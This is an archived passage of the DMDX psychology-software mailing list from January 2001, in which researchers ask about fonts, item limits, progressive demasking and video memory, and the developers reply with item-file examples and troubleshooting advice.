dire.bris.ac.uk with SMTP-PRIV with ESMTP; Mon, 15 Jan 2001 14:54:58 +0000 Received: from loanmachine.bris.ac.uk (mach6.psy.bris.ac.uk [137.222.60.111]) by eis.bris.ac.uk (8.9.3/8.9.3) with ESMTP id OAA03348 for ; Mon, 15 Jan 2001 14:54:33 GMT From: ""EL Turner, Experimental Psychology"" Date: Mon, 15 Jan 2001 14:49:10 +0000 To: DMDX Subject: [DMDX] standard IBM font Message-ID: MIME-Version: 1.0 Content-Type: Text/Plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, Just a couple of quick questions...... 1) Is there anyway you can get DMDX to display ASCII text standard IBM font? 2) Can you get DM to run itm files with more than 255 items? These are both possible solutions to a problem I am currently having with a masked priming experiment consisting of 440 items, any help would be appreciated. Many thanks Em ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 928 8574 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 15 08:56:48 2001 Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA01359 for ; Mon, 15 Jan 2001 08:56:35 -0700 Received: from Boris (n2sgir193.psycho.univ-paris5.fr [193.51.84.193]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.2) with SMTP id QAA22079 for ; Mon, 15 Jan 2001 16:56:30 +0100 (MET) Message-ID: <045901bf603b$dceb2c40$312815ac@lpe> From: ""Boris New"" To: ""DMDX"" Subject: [DMDX] Progressive demasking Date: Sun, 16 Jan 2000 17:07:31 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0456_01BF6044.2C9D1D40"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0456_01BF6044.2C9D1D40 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi!! Do you know if it is possible to do progressive demasking with dmdx (I = think we should use conditionnal branching) ? The sequence of items would be the following: **** 400ms / dog 16ms / **** 384ms / dog 32 ms / **** 368ms / dog 48ms = etc... =20 When the subject hit a key we record the reaction time, then he has to = type the name he saw. Thanks in advance ------=_NextPart_000_0456_01BF6044.2C9D1D40 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi!!   Do you know if it is possible to do = progressive=20 demasking with dmdx (I think we should use conditionnal branching)=20 ? The sequence of items would be the=20 following: **** 400ms / dog 16ms / **** 384ms / = dog 32 ms /=20 **** 368ms / dog 48ms etc...     When the subject hit a key we record = the reaction=20 time, then he has to type the name he saw.   Thanks in advance     ------=_NextPart_000_0456_01BF6044.2C9D1D40-- >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 15 09:13:35 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA01453 for ; Mon, 15 Jan 2001 09:13:30 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.31) by phobos.email.Arizona.EDU (5.1.056) id 3A627C0B0000581D for DMDX@psy1.psych.arizona.edu; Mon, 15 Jan 2001 09:13:28 -0700 Message-Id: <5.0.2.1.2.20010115085907.009e74d0@psy1.psych.arizona.edu> Date: Mon, 15 Jan 2001 09:13:10 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: standard IBM font In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:49 PM 1/15/01 +0000, you wrote: >1) Is there anyway you can get DMDX to display ASCII text standard IBM >font? If you use the standard system font in Word (or whatever .RTF editor you are using) when you create the item file, yes. >2) Can you get DM to run itm files with more than 255 items? DM was limited to a maximum item number of 512, DMDX is only limited to 512 items if you deliberately make it use the .DTP output format with , otherwise using (which is the default for DMDX) or allows 4.2 billion item numbers. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Military intelligence is a contradiction in terms. - Groucho Marx >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 15 09:25:23 2001 Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA01524 for ; Mon, 15 Jan 2001 09:25:16 -0700 Received: from eis.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Mon, 15 Jan 2001 16:25:08 +0000 Received: from loanmachine.bris.ac.uk (mach6.psy.bris.ac.uk [137.222.60.111]) by eis.bris.ac.uk (8.9.3/8.9.3) with ESMTP id QAA02107 for ; Mon, 15 Jan 2001 16:24:33 GMT From: ""EL Turner, Experimental Psychology"" Date: Mon, 15 Jan 2001 16:19:09 +0000 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: standard IBM font In-Reply-To: <5.0.2.1.2.20010115085907.009e74d0@psy1.psych.arizona.edu> References: <5.0.2.1.2.20010115085907.009e74d0@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: Text/Plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks for you quick response......So if I wanted to display 440 items in dm what do you need to specify on the first line for it to do that, at the minute it says 'too many items' when you try to run it. Also when I talk about standard IBM font I mean the basic dos style font not the times new roman or courier or whatever that you get when creating rtf files in a word. Thanks again Emma On Mon, 15 Jan 2001 09:13:10 -0700 ""j.c.f."" wrote: > At 02:49 PM 1/15/01 +0000, you wrote: > > >1) Is there anyway you can get DMDX to display ASCII text standard IBM > >font? > > If you use the standard system font in Word (or whatever .RTF editor you > are using) when you create the item file, yes. > > >2) Can you get DM to run itm files with more than 255 items? > > DM was limited to a maximum item number of 512, DMDX is only limited to > 512 items if you deliberately make it use the .DTP output format with > , otherwise using (which is the default for DMDX) or > allows 4.2 billion item numbers. > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Military intelligence is a contradiction in terms. > - Groucho Marx > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 928 8574 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 15 09:40:01 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA01630 for ; Mon, 15 Jan 2001 09:39:56 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.31) by phobos.email.Arizona.EDU (5.1.056) id 3A627C0B00005CBE for DMDX@psy1.psych.arizona.edu; Mon, 15 Jan 2001 09:39:55 -0700 Message-Id: <5.0.2.1.2.20010115091355.009f2060@psy1.psych.arizona.edu> Date: Mon, 15 Jan 2001 09:39:34 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Progressive demasking In-Reply-To: <045901bf603b$dceb2c40$312815ac@lpe> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:07 PM 1/16/00 +0100, you wrote: >Hi!! > >Do you know if it is possible to do progressive demasking with dmdx (I >think we should use conditionnal branching) ? >The sequence of items would be the following: >**** 400ms / dog 16ms / **** 384ms / dog 32 ms / **** 368ms / dog 48ms etc... > > >When the subject hit a key we record the reaction time, then he has to >type the name he saw. You can either do it with a large elaborate branching item file or you can use a couple of counters and set the frame's duration with <%ctr> and decrement one counter while incrementing the other. If you want the thing subject controlled with a standard RT response you might be able to do it toggling between using and and turning the time limit on and off with , something like the following: F30 T4000 . . . 0 ""press right shift if you recognize the word"" ; +100 ""****"" <%ctr 1> / * <%ctr 2> ""dog"" / c; 0 ""wrong"" / ; 0 ""ok, so you're not going to get that one""; 200 ""type the word you saw"" *; . . . There are going to be things I've overlooked in that example, I haven't tried to run it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Military intelligence is a contradiction in terms. - Groucho Marx >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 15 09:42:23 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA01659 for ; Mon, 15 Jan 2001 09:42:18 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.31) by phobos.email.Arizona.EDU (5.1.056) id 3A627C0B00005D27 for DMDX@psy1.psych.arizona.edu; Mon, 15 Jan 2001 09:42:16 -0700 Message-Id: <5.0.2.1.2.20010115094007.009ed870@psy1.psych.arizona.edu> Date: Mon, 15 Jan 2001 09:41:56 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: standard IBM font In-Reply-To: References: <5.0.2.1.2.20010115085907.009e74d0@psy1.psych.arizona.edu> <5.0.2.1.2.20010115085907.009e74d0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:19 PM 1/15/01 +0000, you wrote: >Thanks for you quick response......So if I wanted to display 440 items >in dm what do you need to specify on the first line for it to do that, >at the minute it says 'too many items' when you try to run it. Can't recall, I thought it was automatic. > Also >when I talk about standard IBM font I mean the basic dos style font >not the times new roman or courier or whatever that you get when >creating rtf files in a word. The closest you are going to get is the System Fixed font (or whatever it's called). You may be able to find the exact font on the web somewhere. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Military intelligence is a contradiction in terms. - Groucho Marx >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 15 10:01:50 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA01813 for ; Mon, 15 Jan 2001 10:01:40 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.31) by phobos.email.Arizona.EDU (5.1.056) id 3A627C0B00006111 for DMDX@psy1.psych.arizona.edu; Mon, 15 Jan 2001 10:01:39 -0700 Message-Id: <5.0.2.1.2.20010115095919.009e7b10@psy1.psych.arizona.edu> Date: Mon, 15 Jan 2001 10:01:17 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Progressive demasking In-Reply-To: <5.0.2.1.2.20010115091355.009f2060@psy1.psych.arizona.edu> References: <045901bf603b$dceb2c40$312815ac@lpe> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well, something in Boris' original post sure screwed up the mail system there, not only is the archive screwed my carefully crafted example appears to be gone. Fortunately I didn't close this email client and it's still in the trash... F30 T4000 . . . 0 ""press right shift if you recognize the word"" ; +100 ""****"" <%ctr 1> / * <%ctr 2> ""dog"" / c; 0 ""wrong"" / ; 0 ""ok, so you're not going to get that one""; 200 ""type the word you saw"" *; . . . There are going to be things I've overlooked in that example, I haven't tried to run it. At 09:39 AM 1/15/01 -0700, you wrote: >At 05:07 PM 1/16/00 +0100, you wrote: >>Hi!! >> >>Do you know if it is possible to do progressive demasking with dmdx (I >>think we should use conditionnal branching) ? >>The sequence of items would be the following: >>**** 400ms / dog 16ms / **** 384ms / dog 32 ms / **** 368ms / dog 48ms etc... >> >> >>When the subject hit a key we record the reaction time, then he has to >>type the name he saw. > > You can either do it with a large elaborate branching item file or you > can use a couple of counters and set the frame's duration with <%ctr> and > decrement one counter while incrementing the other. If you want the > thing subject controlled with a standard RT response you might be able to > do it toggling between using and and turning the time limit > on and off with , something like the following: > > F30 T4000 -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All the world's a VAX, And all the coders merely butchers; They have their exits and their entrails; And one int in his time plays many widths, His sizeof being N bytes. At first the infant, Mewling and puking in the Regent's arms. And then the whining schoolboy, with his Sun, And shining morning face, creeping like slug Unwillingly to school. - A Very Annoyed PDP-11 >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 15 10:05:42 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA01852 for ; Mon, 15 Jan 2001 10:05:36 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.31) by deimos.email.Arizona.EDU (5.1.056) id 3A627C090000559E for DMDX@psy1.psych.arizona.edu; Mon, 15 Jan 2001 10:05:35 -0700 Message-Id: <5.0.2.1.2.20010115100346.009e8d20@psy1.psych.arizona.edu> Date: Mon, 15 Jan 2001 10:05:13 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] ok, one more time... Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well, something in Boris' original post sure screwed up the mail system there, not only is the archive screwed my carefully crafted example appears to be gone. Fortunately I didn't close this email client and it's still in the trash... You can either do it with a large elaborate branching item file or you can use a couple of counters and set the frame's duration with <%ctr> and decrement one counter while incrementing the other. If you want the thing subject controlled with a standard RT response you might be able to do it toggling between using and and turning the time limit on and off with , something like the following: F30 T4000 . . . 0 ""press right shift if you recognize the word"" ; +100 ""****"" <%ctr 1> / * <%ctr 2> ""dog"" / c; 0 ""wrong"" / ; 0 ""ok, so you're not going to get that one""; 200 ""type the word you saw"" *; . . . There are going to be things I've overlooked in that example, I haven't tried to run it. At 09:39 AM 1/15/01 -0700, you wrote: At 05:07 PM 1/16/00 +0100, you wrote: Hi!! Do you know if it is possible to do progressive demasking with dmdx (I think we should use conditionnal branching) ? The sequence of items would be the following: **** 400ms / dog 16ms / **** 384ms / dog 32 ms / **** 368ms / dog 48ms etc... When the subject hit a key we record the reaction time, then he has to type the name he saw. F30 T4000 -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All the world's a VAX, And all the coders merely butchers; They have their exits and their entrails; And one int in his time plays many widths, His sizeof being N bytes. At first the infant, Mewling and puking in the Regent's arms. And then the whining schoolboy, with his Sun, And shining morning face, creeping like slug Unwillingly to school. - A Very Annoyed PDP-11 >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 15 10:07:57 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA01897 for ; Mon, 15 Jan 2001 10:07:51 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.31) by deimos.email.Arizona.EDU (5.1.056) id 3A627C090000561D for DMDX@psy1.psych.arizona.edu; Mon, 15 Jan 2001 10:07:50 -0700 Message-Id: <5.0.2.1.2.20010115100631.009eed30@psy1.psych.arizona.edu> Date: Mon, 15 Jan 2001 10:07:28 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: ok, one more time... In-Reply-To: <5.0.2.1.2.20010115100346.009e8d20@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Ok, I'm sick of that, for the curious you can go check the archives if you want to see that example: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread?message=1813560 -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All the world's a VAX, And all the coders merely butchers; They have their exits and their entrails; And one int in his time plays many widths, His sizeof being N bytes. At first the infant, Mewling and puking in the Regent's arms. And then the whining schoolboy, with his Sun, And shining morning face, creeping like slug Unwillingly to school. - A Very Annoyed PDP-11 >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 15 13:00:57 2001 Received: from cmailg6.svr.pol.co.uk (cmailg6.svr.pol.co.uk [195.92.195.176]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA02326 for ; Mon, 15 Jan 2001 13:00:47 -0700 Received: from modem-18.nitrogen.dialup.pol.co.uk ([62.136.6.18] helo=oemcomputer) by cmailg6.svr.pol.co.uk with smtp (Exim 3.13 #0) id 14IFo1-0000Cc-00 for DMDX@psy1.psych.arizona.edu; Mon, 15 Jan 2001 20:00:41 +0000 Message-ID: <005401c07f2c$41cb3960$1206883e@oemcomputer> From: ""lawrence jones"" To: Subject: [DMDX] Fw: DMDX problems Date: Mon, 15 Jan 2001 19:49:19 -0000 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----=_NextPart_000_0051_01C07F2C.3FC2E640"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0051_01C07F2C.3FC2E640 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit ----- Original Message ----- From: ""lawrence jones"" To: ""Kenneth Forster"" Sent: Thursday, November 23, 2000 12:24 AM Subject: [DMDX] Re: DMDX problems > > Dear Kenneth, > > Thankyou for getting back to me. > > Here is the item file. I explored a few different video modes in TimeDX and > I managed to run the attached file, but as you can see the video mode has a > very poor resolution ( VideoMode 400 300 300 8 0). Anything higher than this > and I get the error message I mentioned before.""Not enough video memory for > this mode"". > > When I ran TimeDX I got a suspicious behaviour alert ""video driver cheating > test times are 0.15ms and 0.02ms , results indicate that refresh rate > determination code could need a larger number of cycles to ignore or a > larger number of cycles"". > > Does this mean I have very little video memory, or am I stupidly missing > something ? > > > Lawrence > > ----- Original Message ----- > From: ""Kenneth Forster"" > To: ""lawrence jones"" > Sent: Wednesday, November 22, 2000 1:04 AM > Subject: DMDX problems > > > > Lawrence, > > > > We know of nothing that would cause problems for your equipment. Perhaps > > you could send me your .rtf file as an attachment. > > > > --KIF > > > > > > > ------=_NextPart_000_0051_01C07F2C.3FC2E640 Content-Type: application/msword; name=""Tachtest.rtf"" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename=""Tachtest.rtf"" {\\rtf1\\ansi\\ansicpg1252\\uc1 = \\deff0\\deflang1033\\deflangfe1033{\\fonttbl{\\f0\\froman\\fcharset0\\fprq2{\\*\\p= anose 02020603050405020304}Times New = Roman;}{\\f2\\fmodern\\fcharset0\\fprq1{\\*\\panose = 02070309020205020404}Courier New;} {\\f27\\fswiss\\fcharset0\\fprq2{\\*\\panose = 020b0604030504040204}Tahoma;}{\\f34\\froman\\fcharset238\\fprq2 Times New = Roman CE;}{\\f35\\froman\\fcharset204\\fprq2 Times New Roman = Cyr;}{\\f37\\froman\\fcharset161\\fprq2 Times New Roman Greek;} {\\f38\\froman\\fcharset162\\fprq2 Times New Roman = Tur;}{\\f39\\froman\\fcharset177\\fprq2 Times New Roman = (Hebrew);}{\\f40\\froman\\fcharset178\\fprq2 Times New Roman = (Arabic);}{\\f41\\froman\\fcharset186\\fprq2 Times New Roman Baltic;} {\\f50\\fmodern\\fcharset238\\fprq1 Courier New = CE;}{\\f51\\fmodern\\fcharset204\\fprq1 Courier New = Cyr;}{\\f53\\fmodern\\fcharset161\\fprq1 Courier New = Greek;}{\\f54\\fmodern\\fcharset162\\fprq1 Courier New = Tur;}{\\f55\\fmodern\\fcharset177\\fprq1 Courier New (Hebrew);} {\\f56\\fmodern\\fcharset178\\fprq1 Courier New = (Arabic);}{\\f57\\fmodern\\fcharset186\\fprq1 Courier New = Baltic;}{\\f250\\fswiss\\fcharset238\\fprq2 Tahoma = CE;}{\\f251\\fswiss\\fcharset204\\fprq2 Tahoma = Cyr;}{\\f253\\fswiss\\fcharset161\\fprq2 Tahoma Greek;} {\\f254\\fswiss\\fcharset162\\fprq2 Tahoma = Tur;}{\\f255\\fswiss\\fcharset177\\fprq2 Tahoma = (Hebrew);}{\\f256\\fswiss\\fcharset178\\fprq2 Tahoma = (Arabic);}{\\f257\\fswiss\\fcharset186\\fprq2 Tahoma = Baltic;}}{\\colortbl;\\red0\\green0\\blue0;\\red0\\green0\\blue255; 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\\par 0 ""Ready..."" ; \\par 1 p100""1"" / ""2"" / ""3"" / ""4"" / ""5"" / ""6"" / ""7"" / ""8"" / ""9"" / \\par ""10"" / ""11"" / ""12"" / ""13"" / ""14"" / ""15"" / ""16"" / ""17"" / ""18"" / = ""19"" / ""1done""; \\par=20 \\par 2 p100 ""1"" / ""2"" / ""3"" / ""4"" / ""5"" / ""6"" / ""7"" / ""8"" / ""9"" / \\par }\\pard \\ql = \\li0\\ri3960\\nowidctlpar\\tx12870\\faauto\\adjustright\\rin3960\\lin0\\itap0 = {\\f2 ""10"" / ""11"" / ""12"" / ""13"" / ""14"" / ""15"" / ""16"" / ""17"" / ""18"" = / ""19"" / ""2done""; \\par }\\pard \\ql \\li0\\ri0\\nowidctlpar\\faauto\\adjustright\\rin0\\lin0\\itap0 = {\\f2=20 \\par 3 p100 ""1"" / ""2"" / ""3"" / ""4"" / ""5"" / ""6"" / ""7"" / ""8"" / ""9"" / \\par ""10"" / ""11"" / ""12"" / ""13"" / ""14"" / ""15"" / ""16"" / ""17"" / ""18"" = / ""19"" / \\par }{ ""3done"" ; \\par 0 ""end""; \\par }} ------=_NextPart_000_0051_01C07F2C.3FC2E640-- >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 15 21:25:45 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id VAA03403 for ; Mon, 15 Jan 2001 21:25:21 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.33) by deimos.email.Arizona.EDU (5.1.056) id 3A627C090000D5FB for DMDX@psy1.psych.arizona.edu; Mon, 15 Jan 2001 21:25:20 -0700 Message-Id: <5.0.2.1.2.20010115212457.009e9860@psy1.psych.arizona.edu> Date: Mon, 15 Jan 2001 21:25:18 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Fw: DMDX problems In-Reply-To: <005401c07f2c$41cb3960$1206883e@oemcomputer> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:49 PM 1/15/01 +0000, you wrote: > > and I get the error message I mentioned before.""Not enough video memory >for > > this mode"". > > It means you need a better video card. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All the world's a VAX, And all the coders merely butchers; They have their exits and their entrails; And one int in his time plays many widths, His sizeof being N bytes. At first the infant, Mewling and puking in the Regent's arms. And then the whining schoolboy, with his Sun, And shining morning face, creeping like slug Unwillingly to school. - A Very Annoyed PDP-11 >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 16 10:59:47 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA04871 for ; Tue, 16 Jan 2001 10:59:16 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by phobos.email.Arizona.EDU (5.1.056) id 3A627C0B00018ECE for DMDX@psy1.psych.arizona.edu; Tue, 16 Jan 2001 10:59:15 -0700 Message-Id: <4.3.1.1.20010116102027.00dff7f0@kforster.inbox.email.arizona.edu> Date: Tue, 16 Jan 2001 10:59:10 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: standard IBM font In-Reply-To: References: <5.0.2.1.2.20010115085907.009e74d0@psy1.psych.arizona.edu> <5.0.2.1.2.20010115085907.009e74d0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:19 PM 1/15/01 +0000, you wrote: >Thanks for you quick response......So if I wanted to display 440 items >in dm what do you need to specify on the first line for it to do that, >at the minute it says 'too many items' when you try to run it. You don't need to specify anything (other than the value of n). My guess is that DM thinks it has run out of memory. This is probably due to code I wrote back in the 80's when we faced the 640K barrier. The scramble routines attempt to read the entire file into memory, and by today's standards, a ridiculously small amount of memory was reserved for this. > Also >when I talk about standard IBM font I mean the basic dos style font >not the times new roman or courier or whatever that you get when >creating rtf files in a word. I infer that your interest in using DM and the DOS font means that you are planning an exact replication of some earlier experiment, where the physical properties of the font are critical. Hence using the system font with DMDX (and using white letters on a black background) would not be a solution. Assuming this is correct, what can you do? One thing would be to shorten the length of the item file. Presumably, your items are fairly long. If they involve repetitive material, a macro would be one way of shortening the file. Another possibility is to avoid scrambling with DM, and arrange the items in a pseudo-random sequence ahead of time. Finally, you could cut the item file into two halves, and run one file and then the other. This will lead to some messiness in the analysis of the dtp files, but it can be coped with. --KIF >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 16 18:09:07 2001 Received: from mail3.svr.pol.co.uk (mail3.svr.pol.co.uk [195.92.193.19]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA05876 for ; Tue, 16 Jan 2001 18:08:57 -0700 Received: from modem-85.flunitrazepam.dialup.pol.co.uk ([62.136.95.213] helo=oemcomputer) by mail3.svr.pol.co.uk with smtp (Exim 3.13 #0) id 14Ih5r-000646-00 for DMDX@psy1.psych.arizona.edu; Wed, 17 Jan 2001 01:08:55 +0000 Message-ID: <001601c08020$7a957d60$d55f883e@oemcomputer> From: ""lawrence jones"" To: References: <5.0.2.1.2.20010115212457.009e9860@psy1.psych.arizona.edu> Subject: [DMDX] Re: Fw: DMDX problems Date: Wed, 17 Jan 2001 00:57:30 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Jonathan, I have a ATI rage 128 xpert 128(english) video adapter, I am told it has 16mb of RAM. What do I need to get in order to upgrade so that I can run DMDX ? Regards, Lawrence ----- Original Message ----- From: ""j.c.f."" To: Sent: Tuesday, January 16, 2001 4:25 AM Subject: [DMDX] Re: Fw: DMDX problems > At 07:49 PM 1/15/01 +0000, you wrote: > > > > > > and I get the error message I mentioned before.""Not enough video memory > >for > > > this mode"". > > > > > It means you need a better video card. > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > All the world's a VAX, > And all the coders merely butchers; > They have their exits and their entrails; > And one int in his time plays many widths, > His sizeof being N bytes. At first the infant, > Mewling and puking in the Regent's arms. > And then the whining schoolboy, with his Sun, > And shining morning face, creeping like slug > Unwillingly to school. > > - A Very Annoyed PDP-11 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 16 19:05:39 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id TAA06075 for ; Tue, 16 Jan 2001 19:05:33 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.33) by deimos.email.Arizona.EDU (5.1.056) id 3A627C0900024934 for DMDX@psy1.psych.arizona.edu; Tue, 16 Jan 2001 19:05:33 -0700 Message-Id: <5.0.2.1.2.20010116185749.009df640@psy1.psych.arizona.edu> Date: Tue, 16 Jan 2001 19:05:01 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Fw: DMDX problems In-Reply-To: <001601c08020$7a957d60$d55f883e@oemcomputer> References: <5.0.2.1.2.20010115212457.009e9860@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:57 AM 1/17/01 +0000, you wrote: >Dear Jonathan, > >I have a ATI rage 128 xpert 128(english) video adapter, I am told it has >16mb of RAM. What do I need to get in order to upgrade so that I can run >DMDX ? New drivers maybe, certainly 16MB is plenty for DMDX's purposes. Perhaps the ATI is just brain dead, I certainly found that earlier ATI cards while having scads of RAM only allowed 50% of it to be used for DMDX's 2D purposes, the rest was only available as texture memory for 3D rendering. We find the NVIDIA cards to be consistently good performers although I have trouble with the GeForce MX in my home machine, no doubt the next revision of the 